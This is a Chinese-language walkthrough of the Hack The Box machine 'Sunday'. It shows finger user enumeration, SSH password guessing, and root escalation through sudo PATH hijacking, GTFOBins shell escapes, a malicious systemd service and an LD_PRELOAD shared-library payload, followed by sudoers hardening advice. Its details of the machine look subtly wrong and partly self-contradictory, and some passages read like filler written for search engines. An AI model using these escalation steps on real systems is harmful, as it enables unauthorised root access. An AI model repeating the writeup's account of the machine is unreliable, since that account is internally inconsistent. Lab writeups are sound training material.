Sunday 这台机器在 Hack The Box 的退役靶机清单里不算难,但它的考点非常“经典”:一个上古服务(finger)泄漏用户名、一组同名弱口令(sunday:sunday)、以及 sudoers 配置不当引起的多条提权路径。整台机器打下来,与其说是在打靶,不如说是在把 Linux 提权的基础题重新做了一遍。这篇 writeup 我会按完整的打靶顺序来写,重点放在弱口令入场后如何从 sudo 权限里拆出几种不同的提权思路,而不是只记一条成功路线。
1. 开局侦察:22端口背后的finger服务才是突破口
1.1 端口扫描第一眼:为什么79端口值得注意
老规矩,信息收集决定后面所有操作的方向。对靶机 IP 跑一轮常规的 nmap 扫描,带版本和默认脚本:
nmap -sC -sV -p- -oA nmap/sunday 10.10.10.76结果很清爽,整个机器只开了两个端口:
| 端口 | 服务 | 版本 | 初步判断 |
|---|---|---|---|
| 22/tcp | ssh | OpenSSH(具体版本以扫描为准) | 远程登录入口,适合做弱口令探测 |
| 79/tcp | finger | 老式用户信息查询服务 | 重点怀疑对象,可能泄漏用户名 |
79 端口今天已经很少见,但它在靶机里一出现,基本就等同于告诉你:这台机器想让你通过 finger 去翻用户信息。这个服务是互联网上古时代的东西,作用类似于“谁在用这台机器、什么时候登录过、有没有留言”,任何人连上 79 端口,发一个用户名过去,它就会把该用户的信息吐出来。
1.2 finger服务的用户枚举玩法
finger 协议非常原始:TCP 连上 79 端口,发送要查询的用户名,然后读返回数据。手工探测可以这么写:
printf "root\n" | nc -w 3 10.10.10.76 79如果 root 存在,就会返回类似Login: root Name: Root这样一段详细信息;如果用户不存在,不同 fingerd 实现的返回会有差别,但核心判断依据是一样的——返回内容里有名有姓,说明账号存在,否则就是 No such user 之类。利用这一点,就能做用户枚举。
手工一个个试肯定低效,直接上循环脚本:
for user in root admin ftp sunday sammy backup test; do echo "---- $user ----" printf "$user\n" | nc -w 2 10.10.10.76 79 done在实际打靶过程中,这套循环会陆续刷出来两个关键用户名:sunday和sammy,而且返回信息里能看到他们的家目录是/home/sunday、/home/sammy,shell 也写着。这就是后面所有操作的起点。
1.3 为什么先枚举用户名,而不是一上来就爆破
很多刚开始打靶的朋友有个误区:看到 22 端口就直接拿字典对 SSH 硬暴力。这倒也不是不行,但在真实场景里效率很低,而且容易被封 IP。先通过 finger 这类服务拿到准确的用户名,再针对用户名去试常见密码,攻击面一下子就从“未知用户名+未知密码”缩小到了“已知用户名+猜密码”。Sunday 这台机的考点就在这个“缩”字上,弱口令不是乱撞出来的,是有方向地戳出来的。
另外说句题外话,finger 服务本身也属于信息泄漏类风险。老系统里默认会用finger把系统里所有用户、最近登录时间、家目录全量暴露给局域网,放到今天的生产环境里是绝对不该存在的。打靶机时可以拿它当突破口,真实运维时看到这东西在线就应该想办法下线。
2. 定向弱口令拿下SSH,先看手里拿到多少牌
2.1 账号密码同名:弱口令的第一反应
拿到sunday这个用户名后,第一时间联想到的就是用户名同名密码。很多管理员在给服务账号设置密码时图省事,直接把用户名当密码,这在靶机和真实环境里都是高频出现的问题。直接试:
sshpass -p 'sunday' ssh sunday@10.10.10.76很顺利,直接进去了。这就是典型的弱口令场景,没有花哨的漏洞,纯粹是密码策略问题。如果第一次没成功,可以用 hydra 配合一个小字典定向测两个已知用户名:
hydra -L users.txt -P pass.txt ssh://10.10.10.76 -t 4但这种属于授权测试里的常规操作,重点还是回到“为什么有方向”这件事上。
2.2 登录后的环境限制与PTY问题
登录进去之后,先不要急着乱翻,按顺序做几件事:看当前用户、看自己在哪个目录、看系统里有没有奇怪的配置。先跑id确认身份,再看/etc/passwd确认用户列表。这里有一个很典型的坑:在 SSH 会话里跑 sudo 相关命令时,有可能会遇到这么一条报错:
sudo: sorry, you must have a tty to run sudo这句报错的意思是 sudo 要求必须有一个伪终端(PTY),否则拒绝执行。解决办法是在 SSH 连接时强制分配 TTY,也就是登录命令加上-t参数:
ssh -t sunday@10.10.10.76 '/bin/bash'如果已经在会话里了,也可以用下面这招骗一个 TTY 出来:
script /dev/null # 或者用 python 生成一个 pty python3 -c 'import pty; pty.spawn("/bin/bash")'这个坑在打靶时会反复遇到,本质是 sudo 和 PTY 的环境权限问题。很多新手卡在这里不是因为没思路,而是因为命令没法在无 TTY 环境下执行。提前知道这一点能省不少时间。
2.3 sudo -l 输出的解读:NOPASSWD到底意味着什么
拿到交互 shell 之后,最重要的一步是看 sudo 权限:
sudo -l输出里如果有一段类似于:
User sunday may run the following commands on Sunday: (root) NOPASSWD: /usr/bin/finger这行信息的含义要拆开看:(root)表示可以以 root 身份执行;NOPASSWD表示不需要输入密码;/usr/bin/finger表示被放开的命令是这个。合起来就是:当前用户可以免密用 root 权限去运行 finger 这个程序。
很多人看到这里会觉得“一个查用户的命令能干什么”,但实际上 sudo 放开的命令,哪怕看起来再无害,只要参数没限制、调用链里有可控点,就有得玩。Sunday 这台机器的 sudoers 配置就是典型——权限给了,但限制没给全,于是后续能延伸出不同思路。
3. 路线一:让sudo找不到真finger——PATH劫持伪造同名命令
3.1 原理:sudo也是在PATH里找程序的
所有人都会敲sudo command,但很少有人会去想 sudo 到底是怎么定位command这个可执行文件的。和 shell 一样,sudo 在执行一个不带路径的命令名时,会按照环境变量PATH里列出的目录逐个查找,找到第一个匹配的就执行。
问题来了:PATH是当前用户环境里的变量,而普通用户在自己的环境里改 PATH 是不需要 root 权限的。如果把一个自己写的同名程序放到 PATH 最前面,sudo 可能优先找到的是这个伪造程序,而不是系统真正的/usr/bin/finger。在 sudo 版本较旧、且 sudoers 没有开启secure_path的环境下,这种“命令解析歧义”是可以被利用的。
3.2 实际操作:伪造一个同名finger脚本
在可写目录里造一个假的 finger,内容很简单,就是启动一个 shell:
mkdir -p /tmp/ed && cd /tmp/ed printf '#!/bin/bash\n/bin/bash\n' > finger chmod +x finger PATH=/tmp/ed:$PATH sudo finger这条命令执行时,sudo 按照我们指定的 PATH 去找 finger,第一个命中的就是/tmp/ed/finger,于是它以 root 身份启动了那个脚本,脚本里的/bin/bash最终以 root 权限弹了回来。执行完id看到uid=0(root),第一步提权就算打通了。
这整套思路总结下来就是:sudoers 放开了某个命令,但命令名没有写绝对路径,同时环境里的 PATH 完全可控,于是当前用户用一个同名脚本把原来的命令“替换”掉了。不是某个命令本身有漏洞,是命令查找机制被利用了。
3.3 踩坑记录:什么情况下这招会失效
- 如果
sudo -l显示的命令是类似/usr/bin/finger这样的绝对路径,PATH 劫持不一定能直接匹配上规则,这时候要检查 sudoers 里有没有配置Defaults secure_path。有secure_path的话,sudo 会把 PATH 重置成系统默认值,我们设置的/tmp/ed就不起作用了。 - 遇到
sudo: no tty present这种报错,按第 2 章的方法先分配 TTY,原理是 sudo 在某些配置下强制要求 PTY 才执行,没有就拒绝。 - 不是所有 sudo 版本都吃这一套。新版本 sudo 在命令查找和规则匹配上做了很多收紧,这个技巧在较新的环境里成功率明显下降。打靶时如果发现
sudo finger执行的是系统真 finger,那就说明这条路在当前配置下走不通,果断换后面的路线。
4. 路线二:别小看sudo放开的路由工具,GTFOBins式逃逸实操
4.1 如果放开的不是finger,而是这些工具
PATH 劫持需要特定条件,但在真实的 sudoers 误配置里,更常见的是管理员把 apt、systemctl、less、vim、env 这类工具直接放开给普通用户。这些工具本身都有“执行外部命令”的能力,一旦配合 sudo 以 root 身份运行,就等于把 root shell 姿势递到用户手里。
先看一个最经典的 apt 逃逸。在sudo -l允许/usr/bin/apt或/usr/bin/apt-get的前提下:
sudo apt-get changelog apt这条命令会进入一个类似 less 的阅读界面,在里面输入:
!/bin/bashapt 自己的子进程就会直接以 root 权限弹出一个 bash。原理很简单:apt 在处理 changelog 时用到了分页器,而分页器本身支持通过!执行外部命令,sudo 赋予的是 apt 命令的 root 权限,分页器里的外部命令自然继承了这份权限。
再看 systemctl。如果 sudo 放开了 systemctl,可以自己写一个恶意 service 文件,让 systemd 启动时帮我们执行想要的操作:
cat > /tmp/evil.service << EOF [Unit] Description=EvilService [Service] ExecStart=/bin/bash -c 'id > /tmp/pwned && /bin/bash' [Install] WantedBy=multi-user.target EOF sudo systemctl link /tmp/evil.service sudo systemctl start evil.service当然,热搜词里提到的sudo systemctl restart ssh这种操作本身不能直接提权,但如果我们能修改 sshd 的配置(比如让它加载一个自定义的 AuthorizedKeysCommand),再通过 sudo 重启 ssh 服务,命令执行效果绕一圈还是能落到 root 身上。
4.2 less、env、vim这类“小工具”的通用思路
下面这几个都是能直接弹 shell 的简化版本:
| 工具 | 触发方式 | 效果 |
|---|---|---|
| less | sudo less /etc/passwd后输入!bash | 得到 root shell |
| env | sudo env /bin/bash | 以 root 执行 bash |
| vim | sudo vim后输入:!bash | 以 root 弹 shell |
| awk | sudo awk 'BEGIN {system("/bin/bash")}' | 以 root 执行 bash |
| find | sudo find / -exec /bin/bash \; | 以 root 执行 bash |
这些工具的共同点是它们本身支持执行外部命令或者加载外部配置,sudoers 只限制了“命令是什么”,没限制“命令能干什么”,所以逃逸通道天然存在。判断的关键不是背命令,而是扫一眼这个工具是否具备调用 shell、加载配置、执行子进程的能力。
4.3 GTFOBins为什么值得存一份
GTFOBins 这个项目收集了 Unix/Linux 下各种二进制程序被误配置 sudo 时的逃逸姿势,每一条都标注了触发条件和具体命令。拿到sudo -l的输出后,常规操作就是把列出来的命令名一个一个丢进去查,看有没有带 sudo 标签的利用链。这不是什么黑科技,就是一个信息收集习惯,但它能把“看到权限就懵”变成“看到权限就有思路”。Sunday 这类靶机打多了之后你会发现,sudo 提权的大部分路径,本质上都能在 GTFOBins 里找到对应的影子。
5. 路线三:LD_PRELOAD环境变量注入,用共享库抢占root进程
5.1 原理:一个环境变量就能让程序“中毒”
Linux 的 ELF 程序在启动时,动态链接器会读取环境变量LD_PRELOAD,并优先加载里面指定的共享库。这个机制本来是给开发人员调试用的,但如果当前用户能控制这个环境变量,而 sudoers 又没有把环境变量重置干净,情况就完全不同了。
具体逻辑是这样的:sudo 以 root 身份执行一个程序时,如果LD_PRELOAD被保留到了执行环境中,动态链接器就会把用户指定的恶意 so 注入到 root 进程里。只要这个 so 的构造函数里写了弹 shell 的代码,root 程序一启动,代码就会在 root 权限下执行。
5.2 编译恶意共享库
编译一个 so 文件不需要 root 权限,普通用户在自己家目录里用 gcc 就能搞定。这也是为什么很多提权工具在没 sudo 的环境里照样能编译成功——权限问题只出现在安装依赖和运行结果阶段,编译本身不吃权限。
#include <stdio.h> #include <stdlib.h> #include <unistd.h> __attribute__((constructor)) void shell(void) { setuid(0); setgid(0); system("/bin/bash"); }编译命令:
gcc -shared -fPIC -o /tmp/evil.so evil.c编译好的.so文件放到临时目录,然后利用 sudo 运行一个被允许执行的命令,同时注入这个库:
sudo LD_PRELOAD=/tmp/evil.so /usr/bin/finger如果 sudoers 对 LD_PRELOAD 这类变量没有做限制,动态链接器加载恶意 so 后,构造函数的代码就以 root 权限执行了,shell 应声而起。这里触发命令用的是 sudoers 里放行的/usr/bin/finger,规则匹配完全没问题,因为用户没有替换命令本身,只是给命令加了一个“加载额外动态库”的环境变量。
5.3 触发条件与踩坑细节
- 前提是 sudo 环境允许保留
LD_PRELOAD。可以用sudo -V查看 sudo 的环境配置信息,也可以直接看/etc/sudoers里有没有Defaults env_keep += "LD_PRELOAD"之类的内容。如果 sudoers 配置了Defaults env_reset且没有env_keep白名单,这个思路基本行不通。 - 位数要匹配。32 位程序加载不了 64 位 so,反过来也一样。编译时不确定目标程序位数,可以先
file一下目标二进制。 - 用
__attribute__((constructor))这种方式构造入口比老旧的_init更稳,现代工具链对_init的支持越来越差,不建议在拿不到 root 的时候还在编译选项上折腾。 - 如果目标程序是静态链接的,
LD_PRELOAD对它就无效,因为静态链接根本不会加载外部动态库。判断方法还是file命令,看到statically linked就直接换思路。
这条路线之所以值得理解,是因为它把攻击点从“命令本身”转移到了“命令加载过程”,即使 sudoers 写了绝对路径、开了 secure_path,只要环境变量没收紧,仍然能绕过。
6. root之后说点防御:sudoers加固与同类场景复用
6.1 把三条路线放到一起看
Sunday 这台机器如果只拿到一条成功路径,那收获有限。真正有价值的是把三个方法并列放在一起,看它们各自堵的是什么漏洞:
| 提权方法 | 核心成因 | 触发命令 |
|---|---|---|
| PATH 劫持 | sudoers 未写绝对路径,未开 secure_path | PATH=/tmp:$PATH sudo finger |
| GTFOBins 逃逸 | 放开工具本身,但未限制参数和子命令 | sudo apt-get changelog apt后!/bin/bash |
| LD_PRELOAD 注入 | 环境变量未重置,恶意库被 root 进程加载 | sudo LD_PRELOAD=/tmp/evil.so /usr/bin/finger |
排查顺序也可以沉淀成一套方法论:拿到 sudo 权限后,先看命令是否带绝对路径,再看工具本身有没有逃逸通道,最后看环境变量管制是否严格。三步走完,大多数常见 sudo 提权都能覆盖。
6.2 从攻击思路反推加固项
如果这台机器是真实环境,防御侧的整改建议应该是下面这几条:
- sudoers 里的命令一律写绝对路径,尽量不用裸命令名。同时开启
Defaults secure_path,避免用户自定义 PATH 污染 sudo 的命令查找过程。 - 遵循最小权限原则。用户不需要的命令,一个都不要给;需要通过 sudo 叫服务,就用
sudo -u指定目标用户,不要直接给 root。 - 保持默认的
Defaults env_reset,不要为了省事把 LD_PRELOAD、LD_LIBRARY_PATH 这类变量放进env_keep白名单。这条能挡住一整个类别的注入攻击。 - 及时升级 sudo。多数经典绕过手法在新版本里都有修复,版本陈旧的 sudoers 配置再严密也经不住历史漏洞翻车。
- 服务治理上,finger 这类信息泄漏服务在生产环境应该直接下线。即使要开,也应该限制来源 IP、禁止非授权用户查询。
- 最后回到弱口令:SSH 能禁密码登录就禁密码登录,改用密钥;实在要开密码,就上 fail2ban 和强密码策略。sunday:sunday 这种账号密码同名的情况,在真实世界的网络设备、数据库账号里依然大量存在,它不是一个笑话,而是最容易被忽视的入口。
6.3 这套打法的通用价值
Sunday 这台机器给我最大的一个体会是:它的每一步都在“吃配置”,而不是“打版本”。弱口令吃的是密码策略,sudo 提权吃的是 sudoers 的细节:有没有绝对路径、有没有 secure_path、环境变量有没有重置。这类问题在任何 Linux 系统里都可能存在,所以在靶机里练过一遍之后,再去面对真实环境的渗透测试或应急响应,看见sudo -l的输出会本能地多想一步:这个权限除了表面上能执行的命令,还能不能再拆出点东西来。这种思维方式,比单纯记住某个提权命令有用得多。